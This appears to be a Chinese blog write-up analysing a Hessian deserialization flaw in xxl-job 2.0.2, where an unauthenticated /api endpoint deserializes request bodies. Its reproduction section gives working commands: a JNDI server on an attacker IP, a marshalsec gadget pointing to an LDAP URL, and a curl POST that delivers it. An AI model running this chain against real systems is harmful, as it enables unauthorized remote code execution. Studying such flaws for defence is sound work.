xxl_job_Hessian反序列化漏洞分析

xiao1star2025-12-12文章来源:SecHub网络安全社区


xxl_job_Hessian反序列化漏洞分析

环境

xxl_job2.0.2

本人使用的是windows搭建的

漏洞分析

permessionLimit接口中定义了一个注解用于设置是否进行登录拦截,若为true则进行拦截反之则不进行,默认是为true

image-20250725191727937

接着拉到JobApiController中,有一个/api接口的limit值为false是不用进行登录校验的,可以看到会将request以及response作为参数调用invokeAdminService

image-20250725192030837

image-20250725192107421

接着又调用了handle方法

image-20250725192333891

handle方法中,首先对target参数进行了校验,我们传过去的值是为null的,所以会直接来到else语句中,可以看到调用了parseRequest方法

image-20250725192428942

可以看到在这个方法中首先是读取request中的字节,然后进行非空判断,接着就获取一个序列化器,然后反序列化

image-20250725192644264

我们首先发个请求测试一下,可以看到获取的反序列化器为HessianSerializer

image-20250725193109610

image-20250725193142804

HssianSerializer中重写了deserialize方法进行反序列化操作

image-20250725193304901

漏洞复现

首先在/xxl-job-admin/api存在未授权导致用户可以直接登录

image-20250725190139098

接着我们使用JNDI-Injection-Exploit工具开启JNDI服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A your_attack_ip  -C "calc.exe"

可以看到在这里会生成几个JNDI链接,大家根据条件自行选择

image-20250725190758398

接着使用marshalsec工具再根据前面生成的JNDI链接生成字节码文件

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://ip:port/1svjjn > test4.ser

接着直接访问目标网站将字节码传入进去

curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test4.ser http://192.168.206.1:8080/xxl-job-admin/api

成功弹出计算机

image-20250725190925079

补充

网上好多poc是根据linux系统写的,如何使用的windows系统记住要把执行的指令切换为windows指令